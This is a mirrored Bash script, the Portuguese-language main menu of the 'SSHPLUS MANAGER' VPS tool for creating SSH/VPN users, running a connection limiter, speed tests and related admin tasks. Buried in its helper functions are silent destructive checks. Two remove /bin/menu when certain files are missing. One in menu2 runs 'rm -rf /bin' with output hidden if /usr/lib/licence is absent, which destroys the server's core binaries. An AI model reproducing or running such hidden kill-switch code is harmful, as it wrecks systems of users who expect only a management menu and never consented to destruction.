mirror of
https://github.com/AAAAAEXQOSyIpN2JZ0ehUQ/SSHPLUS-MANAGER-FREE.git
synced 2024-11-13 14:09:31 +00:00
462 lines
16 KiB
Bash
462 lines
16 KiB
Bash
#!/bin/bash
|
|
fun_bar () {
|
|
comando[0]="$1"
|
|
comando[1]="$2"
|
|
(
|
|
[[ -e $HOME/fim ]] && rm $HOME/fim
|
|
[[ ! -e /usr/lib/sshplus ]] && rm -rf /bin/menu > /dev/null 2>&1
|
|
${comando[0]} -y > /dev/null 2>&1
|
|
${comando[1]} -y > /dev/null 2>&1
|
|
touch $HOME/fim
|
|
) > /dev/null 2>&1 &
|
|
tput civis
|
|
echo -ne "\033[1;33m["
|
|
while true; do
|
|
for((i=0; i<18; i++)); do
|
|
echo -ne "\033[1;31m#"
|
|
sleep 0.1s
|
|
done
|
|
[[ -e $HOME/fim ]] && rm $HOME/fim && break
|
|
echo -e "\033[1;33m]"
|
|
sleep 1s
|
|
tput cuu1
|
|
tput dl1
|
|
echo -ne "\033[1;33m["
|
|
done
|
|
echo -e "\033[1;33m]\033[1;37m -\033[1;32m OK !\033[1;37m"
|
|
tput cnorm
|
|
}
|
|
IP=$(cat /etc/IP)
|
|
x="ok"
|
|
menu ()
|
|
{
|
|
velocity () {
|
|
aguarde () {
|
|
comando[0]="$1"
|
|
comando[1]="$2"
|
|
(
|
|
[[ -e $HOME/fim ]] && rm $HOME/fim
|
|
[[ ! -d /etc/SSHPlus ]] && rm -rf /bin/menu
|
|
${comando[0]} > /dev/null 2>&1
|
|
${comando[1]} > /dev/null 2>&1
|
|
touch $HOME/fim
|
|
) > /dev/null 2>&1 &
|
|
tput civis
|
|
echo -ne " \033[1;33mAGUARDE \033[1;37m- \033[1;33m["
|
|
while true; do
|
|
for((i=0; i<18; i++)); do
|
|
echo -ne "\033[1;31m#"
|
|
sleep 0.1s
|
|
done
|
|
[[ -e $HOME/fim ]] && rm $HOME/fim && break
|
|
echo -e "\033[1;33m]"
|
|
sleep 1s
|
|
tput cuu1
|
|
tput dl1
|
|
echo -ne " \033[1;33mAGUARDE \033[1;37m- \033[1;33m["
|
|
done
|
|
echo -e "\033[1;33m]\033[1;37m -\033[1;32m OK !\033[1;37m"
|
|
tput cnorm
|
|
}
|
|
fun_tst () {
|
|
speedtest --share > speed
|
|
}
|
|
echo ""
|
|
echo -e " \033[1;32mTESTANDO A VELOCIDADE DO SERVIDOR !\033[0m"
|
|
echo ""
|
|
aguarde 'fun_tst'
|
|
echo ""
|
|
png=$(cat speed | sed -n '5 p' |awk -F : {'print $NF'})
|
|
down=$(cat speed | sed -n '7 p' |awk -F : {'print $NF'})
|
|
upl=$(cat speed | sed -n '9 p' |awk -F : {'print $NF'})
|
|
lnk=$(cat speed | sed -n '10 p' |awk {'print $NF'})
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo -e "\033[1;32mPING (LATENCIA):\033[1;37m$png"
|
|
echo -e "\033[1;32mDOWNLOAD:\033[1;37m$down"
|
|
echo -e "\033[1;32mUPLOAD:\033[1;37m$upl"
|
|
echo -e "\033[1;32mLINK: \033[1;36m$lnk\033[0m"
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
rm -rf $HOME/speed
|
|
}
|
|
#limiter
|
|
function limit1 () {
|
|
clear
|
|
echo -e "\n\033[1;32mINICIANDO O LIMITER... \033[0m"
|
|
echo ""
|
|
fun_bar 'screen -dmS limiter limiter' 'sleep 3'
|
|
[[ $(grep -wc "limiter" /etc/autostart) = '0' ]] && {
|
|
echo -e "ps x | grep 'limiter' | grep -v 'grep' && echo 'ON' || screen -dmS limiter limiter" >> /etc/autostart
|
|
} || {
|
|
sed -i '/limiter/d' /etc/autostart
|
|
echo -e "ps x | grep 'limiter' | grep -v 'grep' && echo 'ON' || screen -dmS limiter limiter" >> /etc/autostart
|
|
}
|
|
echo -e "\n\033[1;32m LIMITER ATIVO !\033[0m"
|
|
sleep 3
|
|
menu
|
|
}
|
|
function limit2 () {
|
|
clear
|
|
echo -e "\033[1;32mPARANDO O LIMITER... \033[0m"
|
|
echo ""
|
|
fun_stplimiter () {
|
|
sleep 1
|
|
screen -r -S "limiter" -X quit
|
|
screen -wipe 1>/dev/null 2>/dev/null
|
|
[[ $(grep -wc "limiter" /etc/autostart) != '0' ]] && {
|
|
sed -i '/limiter/d' /etc/autostart
|
|
}
|
|
sleep 1
|
|
}
|
|
fun_bar 'fun_stplimiter' 'sleep 3'
|
|
echo -e "\n\033[1;31m LIMITER PARADO !\033[0m"
|
|
sleep 3
|
|
menu
|
|
}
|
|
function limit_ssh () {
|
|
[[ $(ps x | grep "limiter"|grep -v grep |wc -l) = '0' ]] && limit1 || limit2
|
|
}
|
|
|
|
function autoexec () {
|
|
if grep "menu;" /etc/profile > /dev/null; then
|
|
clear
|
|
echo -e "\033[1;32mDESATIVANDO AUTO EXECUÇÃO\033[0m"
|
|
offautmenu () {
|
|
sed -i '/menu;/d' /etc/profile
|
|
}
|
|
echo ""
|
|
fun_bar 'offautmenu'
|
|
echo ""
|
|
echo -e "\033[1;31mAUTO EXECUÇÃO DESATIVADO!\033[0m"
|
|
sleep 1.5s
|
|
menu2
|
|
else
|
|
clear
|
|
echo -e "\033[1;32mATIVANDO AUTO EXECUÇÃO\033[0m"
|
|
autmenu () {
|
|
grep -v "^menu;" /etc/profile > /tmp/tmpass && mv /tmp/tmpass /etc/profile
|
|
echo "menu;" >> /etc/profile
|
|
}
|
|
echo ""
|
|
fun_bar 'autmenu'
|
|
echo ""
|
|
echo -e "\033[1;32mAUTO EXECUÇÃO ATIVADO!\033[0m"
|
|
sleep 1.5s
|
|
menu2
|
|
fi
|
|
|
|
}
|
|
#menu2
|
|
menu2 (){
|
|
[[ -e /etc/Plus-torrent ]] && stsf=$(echo -e "\033[1;32m◉ ") || stsf=$(echo -e "\033[1;31m○ ")
|
|
stsbot=$(ps x | grep "bot_plus"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
|
|
autm=$(grep "menu;" /etc/profile > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
|
|
[[ ! -e /usr/lib/licence ]] && rm -rf /bin > /dev/null 2>&1
|
|
if [[ "$(grep -c "Ubuntu" /etc/issue.net)" = "1" ]]; then
|
|
system=$(cut -d' ' -f1 /etc/issue.net)
|
|
system+=$(echo ' ')
|
|
system+=$(cut -d' ' -f2 /etc/issue.net |awk -F "." '{print $1}')
|
|
elif [[ "$(grep -c "Debian" /etc/issue.net)" = "1" ]]; then
|
|
system=$(cut -d' ' -f1 /etc/issue.net)
|
|
system+=$(echo ' ')
|
|
system+=$(cut -d' ' -f3 /etc/issue.net)
|
|
else
|
|
system=$(cut -d' ' -f1 /etc/issue.net)
|
|
fi
|
|
_ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l)
|
|
[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0"
|
|
[[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0"
|
|
[[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0"
|
|
_onli=$(($_ons + $_onop + $_ondrp))
|
|
_ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})")
|
|
_usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')")
|
|
_usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')")
|
|
_core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)")
|
|
_system=$(printf '%-14s' "$system")
|
|
_hora=$(printf '%(%H:%M:%S)T')
|
|
_onlin=$(printf '%-5s' "$_onli")
|
|
_userexp=$(printf '%-5s' "$_expuser")
|
|
_tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l)
|
|
clear
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m"
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR "
|
|
echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m"
|
|
echo -e "\033[1;31mHora: \033[1;37m$_hora \033[1;31mEm uso: \033[1;37m$_usor \033[1;31mEm uso: \033[1;37m$_usop\033[0m"
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
[[ ! -e /tmp/att ]] && {
|
|
echo -e "\033[1;32mOnlines:\033[1;37m $_onlin \033[1;31mExpirados: \033[1;37m$_userexp \033[1;33mTotal: \033[1;37m$_tuser\033[0m"
|
|
var01='\033[1;37m•'
|
|
} || {
|
|
echo -e " \033[1;33m[\033[1;31m!\033[1;33m] \033[1;32mEXISTE UMA ATUALIZACAO DISPONIVEL \033[1;33m[\033[1;31m!\033[1;33m]\033[0m"
|
|
var01="\033[1;32m!"
|
|
}
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo ""
|
|
echo -e "\033[1;31m[\033[1;36m20\033[1;31m] \033[1;37m• \033[1;33mADICIONAR HOST \033[1;31m [\033[1;36m26\033[1;31m] \033[1;37m• \033[1;33mMUDAR SENHA ROOT \033[1;31m
|
|
[\033[1;36m21\033[1;31m] \033[1;37m• \033[1;33mREMOVER HOST \033[1;31m [\033[1;36m27\033[1;31m] \033[1;37m• \033[1;33mAUTO EXECUCAO $autm \033[1;31m
|
|
[\033[1;36m22\033[1;31m] \033[1;37m• \033[1;33mREINICIAR SISTEMA \033[1;31m [\033[1;36m28\033[1;31m] $var01 \033[1;33mATUALIZAR SCRIPT \033[1;31m
|
|
[\033[1;36m23\033[1;31m] \033[1;37m• \033[1;33mREINICIAR SERVICOS \033[1;31m [\033[1;36m29\033[1;31m] \033[1;37m• \033[1;33mREMOVER SCRIPT \033[1;31m
|
|
[\033[1;36m24\033[1;31m] \033[1;37m• \033[1;33mBLOCK TORRENT $stsf\033[1;31m [\033[1;36m30\033[1;31m] \033[1;37m• \033[1;33mVOLTAR \033[1;32m<\033[1;33m<\033[1;31m< \033[1;31m
|
|
[\033[1;36m25\033[1;31m] \033[1;37m• \033[1;33mBOT TELEGRAM $stsbot\033[1;31m [\033[1;36m00\033[1;31m] \033[1;37m• \033[1;33mSAIR \033[1;32m<\033[1;33m<\033[1;31m<\033[1;31m"
|
|
echo ""
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo ""
|
|
echo -ne "\033[1;32mOQUE DESEJA FAZER \033[1;33m?\033[1;31m?\033[1;37m : "; read x
|
|
case "$x" in
|
|
20)
|
|
clear
|
|
addhost
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
menu2
|
|
;;
|
|
21)
|
|
clear
|
|
delhost
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
menu2
|
|
;;
|
|
22)
|
|
clear
|
|
reiniciarsistema
|
|
;;
|
|
23)
|
|
clear
|
|
reiniciarservicos
|
|
sleep 3
|
|
;;
|
|
24)
|
|
blockt
|
|
;;
|
|
25)
|
|
botssh
|
|
;;
|
|
26)
|
|
clear
|
|
senharoot
|
|
sleep 3
|
|
;;
|
|
27)
|
|
autoexec
|
|
;;
|
|
28)
|
|
attscript
|
|
;;
|
|
29)
|
|
clear
|
|
delscript
|
|
exit;
|
|
;;
|
|
30)
|
|
menu
|
|
;;
|
|
#----------------------
|
|
# Menu ADM Update
|
|
#----------------------
|
|
menuV3)
|
|
clear
|
|
menuV3
|
|
exit;
|
|
;;
|
|
menuV2)
|
|
clear
|
|
menuV2
|
|
exit;
|
|
;;
|
|
menuV1)
|
|
clear
|
|
menuV1
|
|
exit;
|
|
;;
|
|
#----------------------
|
|
0|00)
|
|
echo -e "\033[1;31mSaindo...\033[0m"
|
|
sleep 2
|
|
clear
|
|
exit;
|
|
;;
|
|
*)
|
|
echo -e "\n\033[1;31mOpcao invalida !\033[0m"
|
|
sleep 2
|
|
esac
|
|
}
|
|
while true $x != "ok"
|
|
do
|
|
stsl=$(ps x | grep "limiter"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
|
|
stsu=$(ps x | grep "udpvpn"|grep -v grep > /dev/null && echo -e "\033[1;32m◉ " || echo -e "\033[1;31m○ ")
|
|
if [[ "$(grep -c "Ubuntu" /etc/issue.net)" = "1" ]]; then
|
|
system=$(cut -d' ' -f1 /etc/issue.net)
|
|
system+=$(echo ' ')
|
|
system+=$(cut -d' ' -f2 /etc/issue.net |awk -F "." '{print $1}')
|
|
elif [[ "$(grep -c "Debian" /etc/issue.net)" = "1" ]]; then
|
|
system=$(cut -d' ' -f1 /etc/issue.net)
|
|
system+=$(echo ' ')
|
|
system+=$(cut -d' ' -f3 /etc/issue.net)
|
|
else
|
|
system=$(cut -d' ' -f1 /etc/issue.net)
|
|
fi
|
|
_ons=$(ps -x | grep sshd | grep -v root | grep priv | wc -l)
|
|
[[ "$(cat /etc/SSHPlus/Exp)" != "" ]] && _expuser=$(cat /etc/SSHPlus/Exp) || _expuser="0"
|
|
[[ -e /etc/openvpn/openvpn-status.log ]] && _onop=$(grep -c "10.8.0" /etc/openvpn/openvpn-status.log) || _onop="0"
|
|
[[ -e /etc/default/dropbear ]] && _drp=$(ps aux | grep dropbear | grep -v grep | wc -l) _ondrp=$(($_drp - 1)) || _ondrp="0"
|
|
_onli=$(($_ons + $_onop + $_ondrp))
|
|
_ram=$(printf ' %-9s' "$(free -h | grep -i mem | awk {'print $2'})")
|
|
_usor=$(printf '%-8s' "$(free -m | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')")
|
|
_usop=$(printf '%-1s' "$(top -bn1 | awk '/Cpu/ { cpu = "" 100 - $8 "%" }; END { print cpu }')")
|
|
_core=$(printf '%-1s' "$(grep -c cpu[0-9] /proc/stat)")
|
|
_system=$(printf '%-14s' "$system")
|
|
_hora=$(printf '%(%H:%M:%S)T')
|
|
_onlin=$(printf '%-5s' "$_onli")
|
|
_userexp=$(printf '%-5s' "$_expuser")
|
|
_tuser=$(awk -F: '$3>=1000 {print $1}' /etc/passwd | grep -v nobody | wc -l)
|
|
clear
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo -e "\E[41;1;37m ⇱ SSHPLUS MANAGER ⇲ \E[0m"
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo -e "\033[1;32mSISTEMA MEMÓRIA RAM PROCESSADOR "
|
|
echo -e "\033[1;31mOS: \033[1;37m$_system \033[1;31mTotal:\033[1;37m$_ram \033[1;31mNucleos: \033[1;37m$_core\033[0m"
|
|
echo -e "\033[1;31mHora: \033[1;37m$_hora \033[1;31mEm uso: \033[1;37m$_usor \033[1;31mEm uso: \033[1;37m$_usop\033[0m"
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo -e "\033[1;32mOnlines:\033[1;37m $_onlin \033[1;31mExpirados: \033[1;37m$_userexp \033[1;33mTotal: \033[1;37m$_tuser\033[0m"
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo ""
|
|
echo -e "\033[1;31m[\033[1;36m01\033[1;31m] \033[1;37m• \033[1;33mCRIAR USUARIO \033[1;31m [\033[1;36m11\033[1;31m] \033[1;37m• \033[1;33mSPEEDTEST \033[1;31m
|
|
[\033[1;36m02\033[1;31m] \033[1;37m• \033[1;33mCRIAR USUARIO TESTE \033[1;31m [\033[1;36m12\033[1;31m] \033[1;37m• \033[1;33mBANNER \033[1;31m
|
|
[\033[1;36m03\033[1;31m] \033[1;37m\033[1;37m• \033[1;33mREMOVER USUARIO \033[1;31m [\033[1;36m13\033[1;31m] \033[1;37m• \033[1;33mTRAFEGO \033[1;31m
|
|
[\033[1;36m04\033[1;31m] \033[1;37m• \033[1;33mMONITOR ONLINE \033[1;31m [\033[1;36m14\033[1;31m] \033[1;37m• \033[1;33mOTIMIZAR \033[1;31m
|
|
[\033[1;36m05\033[1;31m] \033[1;37m• \033[1;33mMUDAR DATA \033[1;31m [\033[1;36m15\033[1;31m] \033[1;37m• \033[1;33mBACKUP \033[1;31m
|
|
[\033[1;36m06\033[1;31m] \033[1;37m• \033[1;33mALTERAR LIMITE \033[1;31m [\033[1;36m16\033[1;31m] \033[1;37m• \033[1;33mLIMITER $stsl\033[1;31m
|
|
[\033[1;36m07\033[1;31m] \033[1;37m• \033[1;33mMUDAR SENHA \033[1;31m [\033[1;36m17\033[1;31m] \033[1;37m• \033[1;33mBAD VPN $stsu\033[1;31m
|
|
[\033[1;36m08\033[1;31m] \033[1;37m• \033[1;33mREMOVER EXPIRADOS \033[1;31m [\033[1;36m18\033[1;31m] \033[1;37m• \033[1;33mINFO VPS \033[1;31m
|
|
[\033[1;36m09\033[1;31m] \033[1;37m• \033[1;33mRELATORIO DE USUARIOS \033[1;31m [\033[1;36m19\033[1;31m] \033[1;37m• \033[1;33mMAIS \033[1;31m>\033[1;33m>\033[1;32m>\033[0m\033[1;31m
|
|
[\033[1;36m10\033[1;31m] \033[1;37m• \033[1;33mMODO DE CONEXAO \033[1;31m [\033[1;36m00\033[1;31m] \033[1;37m• \033[1;33mSAIR \033[1;32m<\033[1;33m<\033[1;31m<\033[0m \033[0m"
|
|
echo ""
|
|
echo -e "\033[0;34m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m"
|
|
echo ""
|
|
echo -ne "\033[1;32mOQUE DESEJA FAZER \033[1;33m?\033[1;31m?\033[1;37m : "; read x
|
|
|
|
case "$x" in
|
|
1 | 01)
|
|
clear
|
|
criarusuario
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
;;
|
|
2 | 02)
|
|
clear
|
|
criarteste
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
;;
|
|
3 | 03)
|
|
clear
|
|
remover
|
|
sleep 3
|
|
;;
|
|
4 | 04)
|
|
clear
|
|
sshmonitor
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
;;
|
|
5 | 05)
|
|
clear
|
|
mudardata
|
|
sleep 3
|
|
;;
|
|
6 | 06)
|
|
clear
|
|
alterarlimite
|
|
sleep 3
|
|
;;
|
|
7 | 07)
|
|
clear
|
|
alterarsenha
|
|
sleep 3
|
|
;;
|
|
8 | 08)
|
|
clear
|
|
expcleaner
|
|
echo ""
|
|
sleep 3
|
|
;;
|
|
9 | 09)
|
|
clear
|
|
infousers
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
;;
|
|
10)
|
|
conexao
|
|
exit;
|
|
;;
|
|
11)
|
|
clear
|
|
velocity
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
;;
|
|
12)
|
|
clear
|
|
banner
|
|
sleep 3
|
|
;;
|
|
13)
|
|
clear
|
|
echo -e "\033[1;32mPARA SAIR CLICK CTRL + C\033[1;36m"
|
|
sleep 4
|
|
nload
|
|
;;
|
|
14)
|
|
clear
|
|
otimizar
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
;;
|
|
15)
|
|
userbackup
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
;;
|
|
16)
|
|
limit_ssh
|
|
;;
|
|
17)
|
|
clear
|
|
badvpn
|
|
exit;
|
|
;;
|
|
18)
|
|
clear
|
|
detalhes
|
|
echo -ne "\n\033[1;31mENTER \033[1;33mpara retornar ao \033[1;32mMENU!\033[0m"; read
|
|
;;
|
|
19)
|
|
menu2
|
|
;;
|
|
#----------------------
|
|
# Menu ADM Update
|
|
#----------------------
|
|
menuV3)
|
|
clear
|
|
menuV3
|
|
exit;
|
|
;;
|
|
menuV2)
|
|
clear
|
|
menuV2
|
|
exit;
|
|
;;
|
|
menuV1)
|
|
clear
|
|
menuV1
|
|
exit;
|
|
;;
|
|
#----------------------
|
|
0 | 00)
|
|
echo -e "\033[1;31mSaindo...\033[0m"
|
|
sleep 2
|
|
clear
|
|
exit;
|
|
;;
|
|
*)
|
|
echo -e "\n\033[1;31mOpcao invalida !\033[0m"
|
|
sleep 2
|
|
esac
|
|
done
|
|
}
|
|
menu
|
|
#fim |